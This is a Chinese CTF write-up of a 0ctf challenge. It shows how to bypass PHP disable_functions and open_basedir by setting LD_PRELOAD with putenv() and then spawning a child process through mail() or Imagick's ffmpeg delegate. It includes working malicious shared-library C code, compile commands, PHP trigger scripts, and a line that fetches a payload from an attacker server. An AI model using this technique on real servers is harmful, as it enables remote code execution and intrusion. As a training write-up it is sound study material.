深入浅出LD_PRELOAD & putenv()

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发布时间：2019-03-27 10:14:14

前记

上周利用空余时间，做了一下0ctf，感觉这道bypass disable function的题目比较有趣，于是分析一下，有了此文

题目分析

拿到题目

Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/d4dabdbc73b87e364e29e60c60a92900
Hint: eval($_POST["backdoor"]);

题目给了3个信息：

execute /readflag to get the flag
Open basedir: /var/www/html:/tmp/d4dabdbc73b87e364e29e60c60a92900
Hint: eval($_POST[“backdoor”]);

我们知道题目是有后门的，但是有disable_functions限制，所以我们首先查看一下phpinfo内容

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

过滤非常多，但思路非常清晰：
1.bypass open basedir
2.bypass disable functions
3.execute readflag

open basedir

我们做个简单的测试

php > ini_set('open_basedir','/var/www/html');
php > var_dump(scandir('/var/www/html'));
array(5) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(7) "hack.so"
  [3]=>
  string(10) "index.html"
  [4]=>
  string(23) "index.nginx-debian.html"
}
php > var_dump(scandir('/tmp'));
bool(false)

即open basedir是用来限制访问目录的，我们看一下题目源代码

backdoor=readfile('index.php');

可以得到

<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>

<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);
</code></pre></body>

题目也是使用了这样的限制，我们只能访问

/tmp/md5("$_SERVER[REMOTE_ADDR]);
/var/www/html

那么如何bypass open basedir与disable functions呢这里不难搜到这样一篇文章

https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

文中提及，我们可以用LD_PRELOAD+putenv打一套组合拳，既能绕过open basedir，又能绕过disable functions

LD_PRELOAD与putenv

这里我们先来看一下原理，首先什么是LD_PRELOAD？

google给出如下定义

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

即LD_PRELOAD这个环境变量指定路径的文件，会在其他文件被调用前，最先被调用

而putenv可以设置环境变量

putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。环境变量仅存活于当前请求期间。在请求结束时环境会恢复到初始状态。

同时该函数也未被过滤。那么我们可以有如下骚操作：

1.制作一个恶意shared libraries
2.使用putenv设置LD_PRELOAD为恶意文件路径
3.使用某个php函数，触发specific shared library
4.成功进行RCE

而既然要在php运行时被触发，那么势必选择一个非常常用的函数才行

那么怎么找到这个函数呢？

传统方式(hijacking function)

在已有的文章中显示，一般使用phpmail()函数进行触发，我们简单分析一下

这里简单写个demo

<?php
mail('','','','');
?>

我们strace一下，可以看到运行这个脚本的时候，程序会启子进程来调用sendmail

execve("/usr/bin/php", ["php", "test.php"], [/* 20 vars */]) = 0
[pid 23864] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 20 vars */]) = 0
[pid 23865] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 20 vars */]) = 0

那么我们只要看一下sendmail使用了哪些函数

有很多函数可以使用，这里可以选择geteuid()，然后我们编写自己的evil shared libraries：hack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls / > /tmp/sky");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

然后编译一下

gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so

然后我们运行脚本

<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>

不难发现它执行了命令，然后可以发现/tmp目录下多了一个文件sky

root@sky:~# ls /tmp | grep sky
sky

我们查看一下

root@sky:~# cat /tmp/sky
bin
boot
dev
etc
home
lib
lib32
....

发现成功执行命令

改进版(hijack shared library)

但其实这个方法是将条件变得严苛了，我们干的事情局限于找到一个函数，然后对其进行注入

但实际上我们可以更加直接，我们先将sendmail进行删除

如图所示现在已经没有了sendmail，但我们依旧可以进行rce，可使用如下文件sky.c

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("ls");
}

其中__attribute__ ((__constructor__))有如下说明

1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.

所以当我们最开始将evil shared library load上后，就会触发__attribute__ ((__constructor__))，从而达成我们rce的目的.

函数寻找

但本题中mail函数已被disable_functions限制，所以我们并不能按照上述模式进行攻击。那么我们要找到一个什么样的函数才能满足我们的条件呢？

从上述内容不难发现，我们必须找到一个能在运行时候启动子进程的函数才行，因为我们设置了环境变量，必须restart才能生效，所以如果能启动一个子进程，那么我们的设置的LD_PRELOAD就会加载我们的evil shared library.

这里我们发现题目提示

So I installed php-imagick in the server, opened a `backdoor` for you.

所以我们主要探究php-imagick到底能不能干类似的事情

我们阅读php-imagick源码

https://github.com/ImageMagick/ImageMagick

我们发现如下对应关系

我们发现当文件是MPEG format时，程序会调用’ffmpeg’ program进行转换，而如下后缀都被认为成MPEG format

我们测试一下.wmv

写出脚本

<?php
$img = new Imagick('sky.wmv');
?>

我们测试一下

execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) = 0
[pid 25217] execve("/bin/sh", ["sh", "-c", ""ffmpeg" -v -1 -i "/tmp/magick-2"...], [/* 21 vars */]) = 0

可以发现的确成功启动了子进程，调用了ffmpeg

但是如果sky.wmv文件不存在时

execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) = 0

则不会调用ffmpeg

所以也不难分析出，应该是有一步判断文件是否存在的操作，再会去进行调用相关程序进行解码转换的操作

所以如果想利用Imagick新起子进程，那么我们得先有后面的参数文件，当然这并不是什么难事。

payload & attack

那么只剩最后的攻击了，找到了可以起子进程的方式，只差构造evil shared library了

我们还是用之前的sky.c

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("ls");
}

然后编译一下

gcc -c -fPIC sky.c -o sky
gcc --share sky -o sky.so

测试一下

<?php
putenv("LD_PRELOAD=./sky.so");
$img = new Imagick('sky.wmv');
?>

运行发现

root@sky:~# php sky.php
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib32  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys    test  tmp  usr    var  vmlinuz  vmlinuz.old
PHP Fatal error:  Uncaught ImagickException: unable to open image `/tmp/magick-25528VpF8npGTawCz.pam': No such file or directory @ error/blob.c/OpenBlob/2712 in /root/sky.php:3
Stack trace:
#0 /root/sky.php(3): Imagick->__construct('sky.wmv')
#1 {main}
  thrown in /root/sky.php on line 3

我们成功的进行了列目录

getflag

那么现在思路很清晰：

1.把我们的sky.so和sky.wmv上传到题目的/tmp/sandbox中

2.利用backdoor运行sky.php

3.在tmp目录读取重定向的结果

首先我们按照题目意思，调用/readflag

文件内容为

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("/readflag > /tmp/d4dabdbc73b87e364e29e60c60a92900/flag");
}

然后是上传文件，我们有很多种方法，这里可以使用

$upload = '/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.so';
echo copy("http://vps_ip/sky.wmv", $upload);

我们可以看到上传成功了

然后我们执行

putenv("LD_PRELOAD=/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.so");
$img = new Imagick('/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.wmv');

可以看到flag已经打到了/tmp目录下

我们进行读取即可

后记

这个题目还是比较有趣的，学习到了不少姿势~

参考链接

https://shinmao.github.io/websecurity/2019/01/09/Bypass-disablefuncs-with-LDPRELOAD/
https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
https://github.com/ImageMagick/ImageMagick
https://blog.csdn.net/niexinming/article/details/52997496

本文由一叶飘零原创发布
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深入浅出LD_PRELOAD & putenv()

前记

题目分析

open basedir

LD_PRELOAD与putenv

传统方式(hijacking function)

改进版(hijack shared library)

函数寻找

payload & attack

getflag

后记

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